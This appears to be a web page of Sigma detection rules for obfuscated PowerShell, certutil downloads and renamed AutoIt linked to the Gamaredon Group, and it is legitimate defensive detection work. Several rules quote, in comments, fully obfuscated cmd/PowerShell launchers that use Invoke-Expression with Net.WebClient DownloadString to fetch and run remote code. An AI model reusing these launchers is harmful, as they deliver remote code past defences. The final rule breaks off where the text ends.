Sigma rules · Gamaredon Group

related high

Invoke-Obfuscation Via Use Clip

Detects Obfuscated Powershell via use Clip.exe in Scripts

status test author Nikita Nazarov, oscd.community id e1561947-b4e3-4a74-9bdd-83baed21bdb5 license Sigma · DRL-1.1

view Sigma YAML

title: Invoke-Obfuscation Via Use Clip
id: e1561947-b4e3-4a74-9bdd-83baed21bdb5
status: test
description: Detects Obfuscated Powershell via use Clip.exe in Scripts
references:
    - https://github.com/SigmaHQ/sigma/issues/1009 # (Task29)
author: Nikita Nazarov, oscd.community
date: 2020-10-09
modified: 2026-03-16
tags:
    - attack.stealth
    - attack.t1027
    - attack.execution
    - attack.t1059.001
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        # Example 1: C:\WINdoWS\sySteM32\CMd /c " ECho\Invoke-Expression (New-Object Net.WebClient).DownloadString|Clip.Exe&&C:\WINdoWS\sySteM32\CMd /c pOWerSheLl -STa . ( \"{2}{0}{1}\"-f'dd-',(\"{0}{1}\" -f 'T','ype' ),'A' ) -Assembly ( \"{4}{1}{3}{0}{2}\"-f (\"{0}{1}\" -f 'nd','ow'),( \"{1}{0}\"-f'.W','stem' ),( \"{2}{1}{0}\" -f 'rms','Fo','s.'),'i','Sy') ; ${exeCUtIOnCONTeXT}.\"INV`oKECOM`m`ANd\".\"INV`ok`ESCriPT\"( ( [sYSteM.wiNDoWS.forMs.ClIPboaRD]::( \"{2}{0}{1}\" -f'Ex','t',(\"{0}{1}\" -f'Get','t' ) ).\"iNvo`Ke\"( )) ) ; [System.Windows.Forms.Clipboard]::(\"{1}{0}\" -f 'ar','Cle' ).\"in`V`oKE\"( )"
        # Example 2: C:\WINDowS\sYsTEM32\CmD.eXE /C" echo\Invoke-Expression (New-Object Net.WebClient).DownloadString| C:\WIndOWs\SYSteM32\CLip &&C:\WINDowS\sYsTEM32\CmD.eXE /C POWERSHeLL -sT -noL [Void][System.Reflection.Assembly]::( \"{0}{3}{4}{1}{2}\" -f( \"{0}{1}\"-f'Lo','adW' ),( \"{0}{1}\"-f 'Par','t'),( \"{0}{1}{2}\"-f 'ial','N','ame'),'it','h' ).\"in`VO`KE\"( ( \"{3}{1}{4}{5}{2}{0}\"-f'rms','ystem.Windo','Fo','S','w','s.' )) ; ( [wIndows.fOrms.cLIPBOArD]::( \"{1}{0}\"-f'T',( \"{1}{0}\" -f'tEX','gET' )).\"i`Nvoke\"( ) ) ^^^| ^^^& ( ( ^^^& ( \"{2}{1}{0}\"-f 'e',( \"{2}{1}{0}\"-f'IABl','aR','v' ),( \"{0}{1}\"-f'Get','-' ) ) ( \"{1}{0}\"-f'*','*MDr' )).\"n`Ame\"[3,11,2]-jOin'') ; [Windows.Forms.Clipboard]::( \"{0}{1}\" -f (\"{1}{0}\"-f'tT','Se' ),'ext').\"in`VoKe\"(' ' )"
        CommandLine|re: '(?i)echo.*clip.*&&.*(?:Clipboard|i`?n`?v`?o`?k`?e`?)'
    condition: selection
falsepositives:
    - Unknown
level: high

related high

Suspicious Encoded And Obfuscated Reflection Assembly Load Function Call

Detects suspicious base64 encoded and obfuscated "LOAD" keyword used in .NET "reflection.assembly"

status test author pH-T (Nextron Systems) id 9c0295ce-d60d-40bd-bd74-84673b7592b1 license Sigma · DRL-1.1

view Sigma YAML

title: Suspicious Encoded And Obfuscated Reflection Assembly Load Function Call
id: 9c0295ce-d60d-40bd-bd74-84673b7592b1
related:
    - id: 62b7ccc9-23b4-471e-aa15-6da3663c4d59
      type: similar
status: test
description: Detects suspicious base64 encoded and obfuscated "LOAD" keyword used in .NET "reflection.assembly"
references:
    - https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar
    - https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/
    - https://learn.microsoft.com/en-us/dotnet/api/system.appdomain.load?view=net-7.0
author: pH-T (Nextron Systems)
date: 2022-03-01
modified: 2023-04-06
tags:
    - attack.execution
    - attack.stealth
    - attack.t1059.001
    - attack.t1027
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains:
            # ::("L"+"oad")
            - 'OgA6ACgAIgBMACIAKwAiAG8AYQBkACIAKQ'
            - 'oAOgAoACIATAAiACsAIgBvAGEAZAAiACkA'
            - '6ADoAKAAiAEwAIgArACIAbwBhAGQAIgApA'
            # ::("Lo"+"ad")
            - 'OgA6ACgAIgBMAG8AIgArACIAYQBkACIAKQ'
            - 'oAOgAoACIATABvACIAKwAiAGEAZAAiACkA'
            - '6ADoAKAAiAEwAbwAiACsAIgBhAGQAIgApA'
            # ::("Loa"+"d")
            - 'OgA6ACgAIgBMAG8AYQAiACsAIgBkACIAKQ'
            - 'oAOgAoACIATABvAGEAIgArACIAZAAiACkA'
            - '6ADoAKAAiAEwAbwBhACIAKwAiAGQAIgApA'
            # ::('L'+'oad')
            - 'OgA6ACgAJwBMACcAKwAnAG8AYQBkACcAKQ'
            - 'oAOgAoACcATAAnACsAJwBvAGEAZAAnACkA'
            - '6ADoAKAAnAEwAJwArACcAbwBhAGQAJwApA'
            # ::('Lo'+'ad')
            - 'OgA6ACgAJwBMAG8AJwArACcAYQBkACcAKQ'
            - 'oAOgAoACcATABvACcAKwAnAGEAZAAnACkA'
            - '6ADoAKAAnAEwAbwAnACsAJwBhAGQAJwApA'
            # ::('Loa'+'d')
            - 'OgA6ACgAJwBMAG8AYQAnACsAJwBkACcAKQ'
            - 'oAOgAoACcATABvAGEAJwArACcAZAAnACkA'
            - '6ADoAKAAnAEwAbwBhACcAKwAnAGQAJwApA'
    condition: selection
falsepositives:
    - Unlikely
level: high

related high

Invoke-Obfuscation Via Use MSHTA

Detects Obfuscated Powershell via use MSHTA in Scripts

status test author Nikita Nazarov, oscd.community id ac20ae82-8758-4f38-958e-b44a3140ca88 license Sigma · DRL-1.1

view Sigma YAML

title: Invoke-Obfuscation Via Use MSHTA
id: ac20ae82-8758-4f38-958e-b44a3140ca88
status: test
description: Detects Obfuscated Powershell via use MSHTA in Scripts
references:
    - https://github.com/SigmaHQ/sigma/issues/1009   # (Task31)
author: Nikita Nazarov, oscd.community
date: 2020-10-08
modified: 2022-03-08
tags:
    - attack.stealth
    - attack.t1027
    - attack.execution
    - attack.t1059.001
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains|all:
            - 'set'
            - '&&'
            - 'mshta'
            - 'vbscript:createobject'
            - '.run'
            - '(window.close)'
    condition: selection
falsepositives:
    - Unknown
level: high

related high

File In Suspicious Location Encoded To Base64 Via Certutil.EXE

Detects the execution of certutil with the "encode" flag to encode a file to base64 where the files are located in potentially suspicious locations

status test author Nasreddine Bencherchali (Nextron Systems) id 82a6714f-4899-4f16-9c1e-9a333544d4c3 license Sigma · DRL-1.1

view Sigma YAML

title: File In Suspicious Location Encoded To Base64 Via Certutil.EXE
id: 82a6714f-4899-4f16-9c1e-9a333544d4c3
related:
    - id: e62a9f0c-ca1e-46b2-85d5-a6da77f86d1a
      type: derived
status: test
description: Detects the execution of certutil with the "encode" flag to encode a file to base64 where the files are located in potentially suspicious locations
references:
    - https://www.virustotal.com/gui/file/35c22725a92d5cb1016b09421c0a6cdbfd860fd4778b3313669b057d4a131cb7/behavior
    - https://www.virustotal.com/gui/file/427616528b7dbc4a6057ac89eb174a3a90f7abcf3f34e5a359b7a910d82f7a72/behavior
    - https://www.virustotal.com/gui/file/34de4c8beded481a4084a1fd77855c3e977e8ac643e5c5842d0f15f7f9b9086f/behavior
    - https://www.virustotal.com/gui/file/4abe1395a09fda06d897a9c4eb247278c1b6cddda5d126ce5b3f4f499e3b8fa2/behavior
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-05-15
modified: 2024-03-05
tags:
    - attack.stealth
    - attack.t1027
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: '\certutil.exe'
        - OriginalFileName: 'CertUtil.exe'
    selection_cli:
        CommandLine|contains|windash: '-encode'
    selection_extension:
        CommandLine|contains:
            # Note: Add more suspicious locations to increase coverage
            - '\AppData\Roaming\'
            - '\Desktop\'
            - '\Local\Temp\'
            - '\PerfLogs\'
            - '\Users\Public\'
            - '\Windows\Temp\'
            - '$Recycle.Bin'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_certutil_encode_susp_location/info.yml

related high

Potential PowerShell Command Line Obfuscation

Detects the PowerShell command lines with special characters

status test author Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp) id d7bcd677-645d-4691-a8d4-7a5602b780d1 license Sigma · DRL-1.1

view Sigma YAML

title: Potential PowerShell Command Line Obfuscation
id: d7bcd677-645d-4691-a8d4-7a5602b780d1
status: test
description: Detects the PowerShell command lines with special characters
references:
    - https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=64
author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp)
date: 2020-10-15
modified: 2024-04-15
tags:
    - attack.execution
    - attack.stealth
    - attack.t1027
    - attack.t1059.001
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith:
              - '\powershell.exe'
              - '\pwsh.exe'
        - OriginalFileName:
              - 'PowerShell.EXE'
              - 'pwsh.dll'
    selection_re:
        # TODO: Optimize for PySIGMA
        - CommandLine|re: '\+.*\+.*\+.*\+.*\+.*\+.*\+.*\+.*\+.*\+.*\+.*\+.*\+.*\+'
        - CommandLine|re: '\{.*\{.*\{.*\{.*\{.*\{.*\{.*\{.*\{.*\{'
        - CommandLine|re: '\^.*\^.*\^.*\^.*\^'
        - CommandLine|re: '`.*`.*`.*`.*`'
    filter_optional_amazonSSM:
        ParentImage: C:\Program Files\Amazon\SSM\ssm-document-worker.exe
    filter_optional_defender_atp:
        CommandLine|contains:
            - 'new EventSource("Microsoft.Windows.Sense.Client.Management"'
            - 'public static extern bool InstallELAMCertificateInfo(SafeFileHandle handle);'
    condition: all of selection_* and not 1 of filter_optional_*
falsepositives:
    - Amazon SSM Document Worker
    - Windows Defender ATP
level: high

related high

PowerShell Base64 Encoded WMI Classes

Detects calls to base64 encoded WMI class such as "Win32_ShadowCopy", "Win32_ScheduledJob", etc.

status test author Christian Burkard (Nextron Systems), Nasreddine Bencherchali (Nextron Systems) id 1816994b-42e1-4fb1-afd2-134d88184f71 license Sigma · DRL-1.1

view Sigma YAML

title: PowerShell Base64 Encoded WMI Classes
id: 1816994b-42e1-4fb1-afd2-134d88184f71
related:
    - id: 47688f1b-9f51-4656-b013-3cc49a166a36
      type: obsolete
status: test
description: Detects calls to base64 encoded WMI class such as "Win32_ShadowCopy", "Win32_ScheduledJob", etc.
references:
    - https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar
author: Christian Burkard (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)
date: 2023-01-30
tags:
    - attack.execution
    - attack.stealth
    - attack.t1059.001
    - attack.t1027
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith:
              - '\powershell.exe'
              - '\pwsh.exe'
        - OriginalFileName:
              - 'PowerShell.EXE'
              - 'pwsh.dll'
    selection_cli_shadowcopy:
        # Win32_ShadowCopy
        CommandLine|contains:
            - 'VwBpAG4AMwAyAF8AUwBoAGEAZABvAHcAYwBvAHAAeQ'
            - 'cAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkA'
            - 'XAGkAbgAzADIAXwBTAGgAYQBkAG8AdwBjAG8AcAB5A'
            - 'V2luMzJfU2hhZG93Y29we'
            - 'dpbjMyX1NoYWRvd2NvcH'
            - 'XaW4zMl9TaGFkb3djb3B5'
    selection_cli_scheduledJob:
        # Win32_ScheduledJob
        CommandLine|contains:
            - 'VwBpAG4AMwAyAF8AUwBjAGgAZQBkAHUAbABlAGQASgBvAGIA'
            - 'cAaQBuADMAMgBfAFMAYwBoAGUAZAB1AGwAZQBkAEoAbwBiA'
            - 'XAGkAbgAzADIAXwBTAGMAaABlAGQAdQBsAGUAZABKAG8AYg'
            - 'V2luMzJfU2NoZWR1bGVkSm9i'
            - 'dpbjMyX1NjaGVkdWxlZEpvY'
            - 'XaW4zMl9TY2hlZHVsZWRKb2'
    selection_cli_process:
        # Win32_Process
        CommandLine|contains:
            - 'VwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcw'
            - 'cAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMA'
            - 'XAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzA'
            - 'V2luMzJfUHJvY2Vzc'
            - 'dpbjMyX1Byb2Nlc3'
            - 'XaW4zMl9Qcm9jZXNz'
    selection_cli_useraccount:
        # Win32_UserAccount
        CommandLine|contains:
            - 'VwBpAG4AMwAyAF8AVQBzAGUAcgBBAGMAYwBvAHUAbgB0A'
            - 'cAaQBuADMAMgBfAFUAcwBlAHIAQQBjAGMAbwB1AG4AdA'
            - 'XAGkAbgAzADIAXwBVAHMAZQByAEEAYwBjAG8AdQBuAHQA'
            - 'V2luMzJfVXNlckFjY291bn'
            - 'dpbjMyX1VzZXJBY2NvdW50'
            - 'XaW4zMl9Vc2VyQWNjb3Vud'
    selection_cli_loggedonuser:
        # Win32_LoggedOnUser
        CommandLine|contains:
            - 'VwBpAG4AMwAyAF8ATABvAGcAZwBlAGQATwBuAFUAcwBlAHIA'
            - 'cAaQBuADMAMgBfAEwAbwBnAGcAZQBkAE8AbgBVAHMAZQByA'
            - 'XAGkAbgAzADIAXwBMAG8AZwBnAGUAZABPAG4AVQBzAGUAcg'
            - 'V2luMzJfTG9nZ2VkT25Vc2Vy'
            - 'dpbjMyX0xvZ2dlZE9uVXNlc'
            - 'XaW4zMl9Mb2dnZWRPblVzZX'
    condition: selection_img and 1 of selection_cli_*
falsepositives:
    - Unknown
level: high

related high

Potential PowerShell Obfuscation Via WCHAR/CHAR

Detects suspicious encoded character syntax often used for defense evasion

status test author Florian Roth (Nextron Systems) id e312efd0-35a1-407f-8439-b8d434b438a6 license Sigma · DRL-1.1

view Sigma YAML

title: Potential PowerShell Obfuscation Via WCHAR/CHAR
id: e312efd0-35a1-407f-8439-b8d434b438a6
status: test
description: Detects suspicious encoded character syntax often used for defense evasion
references:
    - https://twitter.com/0gtweet/status/1281103918693482496
author: Florian Roth (Nextron Systems)
date: 2020-07-09
modified: 2025-03-03
tags:
    - attack.execution
    - attack.stealth
    - attack.t1059.001
    - attack.t1027
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains:
            - '[char]0x'
            - '(WCHAR)0x'
    condition: selection
falsepositives:
    - Unknown
level: high

related high

Suspicious File Downloaded From Direct IP Via Certutil.EXE

Detects the execution of certutil with certain flags that allow the utility to download files from direct IPs.

status test author Nasreddine Bencherchali (Nextron Systems) id 13e6fe51-d478-4c7e-b0f2-6da9b400a829 license Sigma · DRL-1.1

view Sigma YAML

title: Suspicious File Downloaded From Direct IP Via Certutil.EXE
id: 13e6fe51-d478-4c7e-b0f2-6da9b400a829
related:
    - id: 19b08b1c-861d-4e75-a1ef-ea0c1baf202b # Direct IP download
      type: similar
    - id: 42a5f1e7-9603-4f6d-97ae-3f37d130d794 # File sharing download
      type: similar
status: test
description: Detects the execution of certutil with certain flags that allow the utility to download files from direct IPs.
references:
    - https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil
    - https://forensicitguy.github.io/agenttesla-vba-certutil-download/
    - https://news.sophos.com/en-us/2021/04/13/compromised-exchange-server-hosting-cryptojacker-targeting-other-exchange-servers/
    - https://twitter.com/egre55/status/1087685529016193025
    - https://lolbas-project.github.io/lolbas/Binaries/Certutil/
    - https://twitter.com/_JohnHammond/status/1708910264261980634
    - https://www.hexacorn.com/blog/2020/08/23/certutil-one-more-gui-lolbin
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-02-15
modified: 2025-12-01
tags:
    - attack.stealth
    - attack.t1027
    - attack.command-and-control
    - attack.t1105
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: '\certutil.exe'
        - OriginalFileName: 'CertUtil.exe'
    selection_flags:
        CommandLine|contains:
            - 'urlcache '
            - 'verifyctl '
            - 'URL '
    selection_http:
        CommandLine|contains:
            - '://1'
            - '://2'
            - '://3'
            - '://4'
            - '://5'
            - '://6'
            - '://7'
            - '://8'
            - '://9'
    # filter_local_ips:
    #     # Note: Uncomment this filter if you want to exclude local IPs
    #     CommandLine|contains:
    #         - '://10.' # 10.0.0.0/8
    #         - '://192.168.' # 192.168.0.0/16
    #         - '://172.16.' # 172.16.0.0/12
    #         - '://172.17.'
    #         - '://172.18.'
    #         - '://172.19.'
    #         - '://172.20.'
    #         - '://172.21.'
    #         - '://172.22.'
    #         - '://172.23.'
    #         - '://172.24.'
    #         - '://172.25.'
    #         - '://172.26.'
    #         - '://172.27.'
    #         - '://172.28.'
    #         - '://172.29.'
    #         - '://172.30.'
    #         - '://172.31.'
    #         - '://127.' # 127.0.0.0/8
    #         - '://169.254.' # 169.254.0.0/16
    filter_main_seven_zip:
        CommandLine|contains: '://7-' # For https://7-zip.org/
    condition: all of selection_* and not 1 of filter_main_*
falsepositives:
    - Unknown
level: high
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_certutil_download_direct_ip/info.yml

related high

Invoke-Obfuscation Via Stdin

Detects Obfuscated Powershell via Stdin in Scripts

status test author Nikita Nazarov, oscd.community id 9c14c9fa-1a63-4a64-8e57-d19280559490 license Sigma · DRL-1.1

view Sigma YAML

title: Invoke-Obfuscation Via Stdin
id: 9c14c9fa-1a63-4a64-8e57-d19280559490
status: test
description: Detects Obfuscated Powershell via Stdin in Scripts
references:
    - https://github.com/SigmaHQ/sigma/issues/1009 # (Task28)
author: Nikita Nazarov, oscd.community
date: 2020-10-12
modified: 2026-03-16
tags:
    - attack.stealth
    - attack.t1027
    - attack.execution
    - attack.t1059.001
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|re: '(?i)(?:set).*&&\s?set.*(?:environment|invoke|\$\{?input).*&&.*"'
    condition: selection
falsepositives:
    - Unknown
level: high

related high

Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION

Detects Obfuscated Powershell via VAR++ LAUNCHER

status test author Timur Zinniatullin, oscd.community id e9f55347-2928-4c06-88e5-1a7f8169942e license Sigma · DRL-1.1

view Sigma YAML

title: Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION
id: e9f55347-2928-4c06-88e5-1a7f8169942e
status: test
description: Detects Obfuscated Powershell via VAR++ LAUNCHER
references:
    - https://github.com/SigmaHQ/sigma/issues/1009 # (Task27)
author: Timur Zinniatullin, oscd.community
date: 2020-10-13
modified: 2022-11-16
tags:
    - attack.stealth
    - attack.t1027
    - attack.execution
    - attack.t1059.001
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        # CommandLine|re: '(?i)&&set.*(\{\d\}){2,}\\\"\s+?\-f.*&&.*cmd.*\/c' # FPs with |\/r
        # Example 1: CMD /C"sET KUR=Invoke-Expression (New-Object Net.WebClient).DownloadString&&Set MxI=C:\wINDowS\sYsWow64\winDOWspoWERSheLl\V1.0\PowerShelL.EXe ${ExEcut`IoN`cON`TExT}.\"invo`kEcoMm`A`ND\".( \"{2}{1}{0}\" -f 'pt','EscRi','INvOk' ).Invoke( ( .( \"{0}{1}\" -f'D','IR' ) ( \"{0}{1}\"-f'ENV:kU','R')).\"vAl`Ue\" )&& CMD /C%mXI%"
        # Example 2: c:\WiNDOWS\sYSTEm32\CmD.exE /C "sEt DeJLz=Invoke-Expression (New-Object Net.WebClient).DownloadString&&set yBKM=PoWERShelL -noeX ^^^&(\"{2}{0}{1}\"-f '-ItE','m','seT') ( 'V' + 'a'+ 'RiAblE:z8J' +'U2' + 'l' ) ([TYpE]( \"{2}{3}{0}{1}\"-f 'e','NT','e','NViRONM' ) ) ; ^^^& ( ( [sTrIng]${VE`Rbo`SepReFER`Ence})[1,3] + 'X'-joIN'')( ( (.('gI') ('V' + 'a' + 'RIAbLe:z8j' + 'u2' +'l' ) ).vALUe::( \"{2}{5}{0}{1}{6}{4}{3}\" -f 'IRo','Nm','GETE','ABlE','I','nv','enTVAr').Invoke(( \"{0}{1}\"-f'd','ejLz' ),( \"{1}{2}{0}\"-f'cEss','P','RO') )) )&& c:\WiNDOWS\sYSTEm32\CmD.exE /C %ybkm%"
        CommandLine|contains|all:
            - '&&set'
            - 'cmd'
            - '/c'
            - '-f'
        CommandLine|contains:
            - '{0}'
            - '{1}'
            - '{2}'
            - '{3}'
            - '{4}'
            - '{5}'
    condition: selection
falsepositives:
    - Unknown
level: high

related high

Renamed AutoIt Execution

Detects the execution of a renamed AutoIt2.exe or AutoIt3.exe. AutoIt is a scripting language and automation tool for Windows systems. While primarily used for legitimate automation tasks, it can be misused in cyber attacks. Attackers can leverage AutoIt to create and distribute malware, including keyloggers, spyware, and botnets. A renamed AutoIt executable is particularly suspicious.

status test author Florian Roth (Nextron Systems) id f4264e47-f522-4c38-a420-04525d5b880f license Sigma · DRL-1.1

view Sigma YAML

title: Renamed AutoIt Execution
id: f4264e47-f522-4c38-a420-04525d5b880f
status: test
description: |
    Detects the execution of a renamed AutoIt2.exe or AutoIt3.exe.
    AutoIt is a scripting language and automation tool for Windows systems. While primarily used for legitimate automation tasks, it can be misused in cyber attacks.
    Attackers can leverage AutoIt to create and distribute malware, including keyloggers, spyware, and botnets. A renamed AutoIt executable is particularly suspicious.
references:
    - https://twitter.com/malmoeb/status/1665463817130725378?s=12&t=C0_T_re0wRP_NfKa27Xw9w
    - https://www.autoitscript.com/site/
author: Florian Roth (Nextron Systems)
date: 2023-06-04
modified: 2024-11-23
tags:
    - attack.stealth
    - attack.t1027
logsource:
    category: process_creation
    product: windows
detection:
    selection_1:
        CommandLine|contains:
            - ' /AutoIt3ExecuteScript'
            - ' /ErrorStdOut'
    selection_2:
        Hashes|contains:
            - 'IMPHASH=FDC554B3A8683918D731685855683DDF'  # AutoIt v2 - doesn't cover all binaries
            - 'IMPHASH=CD30A61B60B3D60CECDB034C8C83C290'  # AutoIt v2 - doesn't cover all binaries
            - 'IMPHASH=F8A00C72F2D667D2EDBB234D0C0AE000'  # AutoIt v3 - doesn't cover all binaries
    selection_3:
        OriginalFileName:
            - 'AutoIt3.exe'
            - 'AutoIt2.exe'
            - 'AutoIt.exe'
    filter_main_legit_name:
        Image|endswith:
            - '\AutoIt.exe'
            - '\AutoIt2.exe'
            - '\AutoIt3_x64.exe'
            - '\AutoIt3.exe'
    condition: 1 of selection_* and not 1 of filter_main_*
falsepositives:
    - Unknown
level: high

related high

Potential PowerShell Obfuscation Via Reversed Commands

Detects the presence of reversed PowerShell commands in the CommandLine. This is often used as a method of obfuscation by attackers

status test author Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton id b6b49cd1-34d6-4ead-b1bf-176e9edba9a4 license Sigma · DRL-1.1

view Sigma YAML

title: Potential PowerShell Obfuscation Via Reversed Commands
id: b6b49cd1-34d6-4ead-b1bf-176e9edba9a4
status: test
description: Detects the presence of reversed PowerShell commands in the CommandLine. This is often used as a method of obfuscation by attackers
references:
    - https://2019.offzone.moscow/ru/report/hunting-for-powershell-abuses/
    - https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=66
author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton
date: 2020-10-11
modified: 2023-05-31
tags:
    - attack.stealth
    - attack.t1027
    - attack.execution
    - attack.t1059.001
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith:
              - '\powershell.exe'
              - '\pwsh.exe'
        - OriginalFileName:
              - 'PowerShell.EXE'
              - 'pwsh.dll'
    selection_cli:
        CommandLine|contains:
            - 'hctac'
            - 'kaerb'
            - 'dnammoc'
            - 'ekovn' # Also covers 'ekovni'
            - 'eliFd'
            - 'rahc'
            - 'etirw'
            - 'golon'
            - 'tninon'
            - 'eddih'
            - 'tpircS'
            - 'ssecorp'
            - 'llehsrewop'
            - 'esnopser'
            - 'daolnwod'
            - 'tneilCbeW'
            - 'tneilc'
            - 'ptth'
            - 'elifotevas'
            - '46esab'
            - 'htaPpmeTteG'
            - 'tcejbO'
            - 'maerts'
            - 'hcaerof'
            - 'retupmoc'
    filter_main_encoded_keyword:
        # We exclude usage of encoded commands as they might generate FPs as shown here:
        #   https://github.com/SigmaHQ/sigma/pull/2720
        #   https://github.com/SigmaHQ/sigma/issues/4270
        CommandLine|contains:
            - ' -EncodedCommand '
            - ' -enc '
    condition: all of selection_* and not 1 of filter_main_*
falsepositives:
    - Unlikely
level: high

related high

PowerShell Base64 Encoded Invoke Keyword

Detects UTF-8 and UTF-16 Base64 encoded powershell 'Invoke-' calls

status test author pH-T (Nextron Systems), Harjot Singh, @cyb3rjy0t id 6385697e-9f1b-40bd-8817-f4a91f40508e license Sigma · DRL-1.1

view Sigma YAML

title: PowerShell Base64 Encoded Invoke Keyword
id: 6385697e-9f1b-40bd-8817-f4a91f40508e
related:
    - id: fd6e2919-3936-40c9-99db-0aa922c356f7
      type: obsolete
status: test
description: Detects UTF-8 and UTF-16 Base64 encoded powershell 'Invoke-' calls
references:
    - https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/
author: pH-T (Nextron Systems), Harjot Singh, @cyb3rjy0t
date: 2022-05-20
modified: 2023-04-06
tags:
    - attack.execution
    - attack.stealth
    - attack.t1059.001
    - attack.t1027
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith:
              - '\powershell.exe'
              - '\pwsh.exe'
        - OriginalFileName:
              - 'PowerShell.EXE'
              - 'pwsh.dll'
    selection_cli_enc:
        CommandLine|contains: ' -e'
    selection_cli_invoke:
        CommandLine|contains:
            # Invoke-
            # UTF-16LE
            - 'SQBuAHYAbwBrAGUALQ'
            - 'kAbgB2AG8AawBlAC0A'
            - 'JAG4AdgBvAGsAZQAtA'
            # UTF-8
            - 'SW52b2tlL'
            - 'ludm9rZS'
            - 'JbnZva2Ut'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high

related high

Invoke-Obfuscation STDIN+ Launcher

Detects Obfuscated use of stdin to execute PowerShell

status test author Jonathan Cheong, oscd.community id 6c96fc76-0eb1-11eb-adc1-0242ac120002 license Sigma · DRL-1.1

view Sigma YAML

title: Invoke-Obfuscation STDIN+ Launcher
id: 6c96fc76-0eb1-11eb-adc1-0242ac120002
status: test
description: Detects Obfuscated use of stdin to execute PowerShell
references:
    - https://github.com/SigmaHQ/sigma/issues/1009  # (Task 25)
author: Jonathan Cheong, oscd.community
date: 2020-10-15
modified: 2024-04-15
tags:
    - attack.stealth
    - attack.t1027
    - attack.execution
    - attack.t1059.001
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        # Example 1: c:\windows\sYstEm32\CmD.eXE /C"echO\Invoke-Expression (New-Object Net.WebClient).DownloadString | POwersHELl -NoEXiT -"
        # Example 2: c:\WiNDOws\sysTEm32\cmd.EXe /C " ECHo Invoke-Expression (New-Object Net.WebClient).DownloadString | POwersHELl -nol ${EXEcUtIONCONTeXT}.INvOkEComMANd.InvOKEScRIPt( $InpUt )"
        CommandLine|re: 'cmd.{0,5}(?:/c|/r).+powershell.+(?:\$\{?input\}?|noexit).+\"'
    condition: selection
falsepositives:
    - Unknown
level: high

related high

Invoke-Obfuscation CLIP+ Launcher

Detects Obfuscated use of Clip.exe to execute PowerShell

status test author Jonathan Cheong, oscd.community id b222df08-0e07-11eb-adc1-0242ac120002 license Sigma · DRL-1.1

view Sigma YAML

title: Invoke-Obfuscation CLIP+ Launcher
id: b222df08-0e07-11eb-adc1-0242ac120002
status: test
description: Detects Obfuscated use of Clip.exe to execute PowerShell
references:
    - https://github.com/SigmaHQ/sigma/issues/1009  # (Task 26)
author: Jonathan Cheong, oscd.community
date: 2020-10-13
modified: 2022-11-17
tags:
    - attack.stealth
    - attack.t1027
    - attack.execution
    - attack.t1059.001
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        # CommandLine|re: 'cmd.{0,5}(?:\/c|\/r).+clip(?:\.exe)?.{0,4}&&.+clipboard]::\(\s\\\"\{\d\}.+\-f.+\"'
        # Example 1: Cmd /c" echo/Invoke-Expression (New-Object Net.WebClient).DownloadString |cLiP&& POWerSheLl -Nolog -sT . (\"{1}{2}{0}\"-f'pe','Ad',(\"{1}{0}\" -f'Ty','d-' ) ) -Assemb ( \"{5}{1}{3}{0}{2}{4}\" -f'ows','y','.F',(\"{0}{1}{2}\" -f'stem.W','i','nd'),( \"{0}{1}\"-f 'o','rms' ),'S' ) ; ([SySTEM.wiNDows.FoRmS.CLiPbOArd]::( \"{1}{0}\" -f (\"{1}{0}\" -f'T','TTeX' ),'gE' ).\"invO`Ke\"( ) ) ^| ^&( \"{5}{1}{2}{4}{3}{0}\" -f 'n',( \"{1}{0}\"-f'KE-','o' ),(\"{2}{1}{0}\"-f 'pRESS','x','e' ),'o','i','iNV') ; [System.Windows.Forms.Clipboard]::(\"{0}{1}\" -f( \"{1}{0}\"-f'e','SetT' ),'xt').\"InV`oKe\"( ' ')"
